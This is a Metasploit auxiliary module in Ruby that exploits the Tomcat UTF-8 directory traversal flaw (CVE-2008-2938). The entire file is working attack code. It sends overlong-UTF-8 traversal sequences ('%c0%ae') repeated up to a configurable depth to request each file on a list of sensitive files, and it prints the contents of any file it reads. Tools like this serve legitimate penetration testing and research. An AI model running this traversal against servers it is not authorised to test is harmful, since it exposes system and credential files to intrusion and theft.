Tomcat UTF-8 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::WmapScanServer  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',  
'Description' => %q{  
This module tests whether a directory traversal vulnerability is present  
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0  
- 6.0.16 under specific and non-default installations. The connector must have  
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the  
vulnerability actually occurs within Java and not Tomcat; the server must  
use Java versions prior to Sun 1.4.2_19, 1.5.0_17, 6u11 - or prior IBM Java  
5.0 SR9, 1.4.2 SR13, SE 6 SR4 releases. This module has only been tested against  
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change  
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.  
},  
'References' => [  
[ 'URL', 'http://tomcat.apache.org/' ],  
[ 'OSVDB', '47464' ],  
[ 'CVE', '2008-2938' ],  
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],  
],  
'Author' => [ 'aushack', 'guerrino <ruggine> di massa' ],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Jan 9 2009'  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'URI to the Tomcat instance', '/']),  
OptPath.new('SENSITIVE_FILES', [  
true, 'File containing sensitive files, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')  
]),  
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),  
]  
)  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
  
def find_files(files)  
traversal = '/%c0%ae%c0%ae'  
  
1.upto(datastore['MAXDIRS']) do |level|  
try = traversal * level  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], try, files)  
}, 25  
)  
if (res && (res.code == 200))  
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")  
@files_found << files  
break  
elsif (res && res.code)  
vprint_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")  
end  
end  
end  
  
def run_host(_ip)  
@files_found = []  
  
begin  
print_status("Attempting to connect to #{rhost}:#{rport}")  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'])  
}, 25  
)  
  
if res  
extract_words(datastore['SENSITIVE_FILES']).each do |files|  
find_files(files) unless files.empty?  
end  
end  
  
if !@files_found.empty?  
print_good('File(s) found:')  
  
@files_found.each do |f|  
print_good(f)  
end  
else  
print_error('No File(s) found')  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`